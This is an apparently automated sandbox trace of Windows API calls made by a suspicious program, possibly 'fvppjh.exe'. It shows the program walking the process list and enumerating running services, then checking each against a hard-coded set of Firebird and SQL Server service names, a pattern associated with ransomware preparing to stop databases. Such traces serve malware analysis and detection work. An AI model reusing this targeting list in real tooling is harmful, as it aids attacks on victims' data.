	[0182.681] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.682] lstrlenW (lpString="svchost.exe") returned 11
	[0182.682] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0182.682] lstrlenW (lpString="spoolsv.exe") returned 11
	[0182.682] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.683] lstrlenW (lpString="svchost.exe") returned 11
	[0182.683] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0182.683] lstrlenW (lpString="audiodg.exe") returned 11
	[0182.683] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0182.683] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0182.683] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0182.684] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0182.684] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0182.684] lstrlenW (lpString="Memory Compression") returned 18
	[0182.684] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0182.685] lstrlenW (lpString="sihost.exe") returned 10
	[0182.685] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.685] lstrlenW (lpString="svchost.exe") returned 11
	[0182.685] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0182.686] lstrlenW (lpString="taskhostw.exe") returned 13
	[0182.686] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0182.686] lstrlenW (lpString="taskhostw.exe") returned 13
	[0182.686] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0182.686] lstrlenW (lpString="explorer.exe") returned 12
	[0182.686] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0182.687] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0182.687] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0182.687] lstrlenW (lpString="SearchUI.exe") returned 12
	[0182.688] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0182.688] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0182.688] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0182.688] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0182.688] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0182.689] lstrlenW (lpString="fvppjh.exe") returned 10
	[0182.689] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0182.689] lstrlenW (lpString="dllhost.exe") returned 11
	[0182.689] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0182.690] lstrlenW (lpString="dllhost.exe") returned 11
	[0182.690] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0182.690] CloseHandle (hObject=0x55c) returned 1
	[0182.690] Sleep (dwMilliseconds=0x1f4) 
	[0183.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c07a0
	[0183.526] EnumServicesStatusExW (in: hSCManager=0x41c07a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0183.527] GetLastError () returned 0xea
	[0183.527] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x61c198
	[0183.527] EnumServicesStatusExW (in: hSCManager=0x41c07a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c198, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c198, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0183.528] CloseServiceHandle (hSCObject=0x41c07a0) returned 1
	[0183.528] lstrlenW (lpString="Appinfo") returned 7
	[0183.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0183.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0183.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0183.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0183.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0183.528] lstrlenW (lpString="AppXSvc") returned 7
	[0183.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0183.529] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0183.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0183.529] lstrlenW (lpString="Audiosrv") returned 8
	[0183.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0183.529] lstrlenW (lpString="BFE") returned 3
	[0183.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0183.529] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0183.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0183.529] lstrlenW (lpString="CDPSvc") returned 6
	[0183.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0183.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0183.529] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0183.530] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0183.530] lstrlenW (lpString="CryptSvc") returned 8
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0183.530] lstrlenW (lpString="DcomLaunch") returned 10
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0183.530] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0183.530] lstrlenW (lpString="Dhcp") returned 4
	[0183.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0183.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0183.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0183.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0183.531] lstrlenW (lpString="Dnscache") returned 8
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0183.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0183.531] lstrlenW (lpString="DPS") returned 3
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0183.531] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0183.531] lstrlenW (lpString="DusmSvc") returned 7
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0183.531] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0183.531] lstrlenW (lpString="EventLog") returned 8
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0183.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0183.531] lstrlenW (lpString="EventSystem") returned 11
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0183.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0183.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0183.531] lstrlenW (lpString="FontCache") returned 9
	[0183.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0183.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0183.532] lstrlenW (lpString="gpsvc") returned 5
	[0183.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0183.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0183.532] lstrlenW (lpString="iphlpsvc") returned 8
	[0183.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0183.532] lstrlenW (lpString="KeyIso") returned 6
	[0183.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0183.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0183.532] lstrlenW (lpString="LanmanServer") returned 12
	[0183.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0183.532] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0183.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0183.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0183.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0183.532] lstrlenW (lpString="lfsvc") returned 5
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0183.533] lstrlenW (lpString="lmhosts") returned 7
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0183.533] lstrlenW (lpString="LSM") returned 3
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0183.533] lstrlenW (lpString="MpsSvc") returned 6
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0183.533] lstrlenW (lpString="NcbService") returned 10
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0183.533] lstrlenW (lpString="netprofm") returned 8
	[0183.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0183.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0183.533] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0183.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0183.534] lstrlenW (lpString="NgcSvc") returned 6
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0183.534] lstrlenW (lpString="NlaSvc") returned 6
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0183.534] lstrlenW (lpString="nsi") returned 3
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0183.534] lstrlenW (lpString="PcaSvc") returned 6
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0183.534] lstrlenW (lpString="PlugPlay") returned 8
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0183.534] lstrlenW (lpString="Power") returned 5
	[0183.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0183.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0183.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0183.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0183.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0183.535] lstrlenW (lpString="ProfSvc") returned 7
	[0183.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0183.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
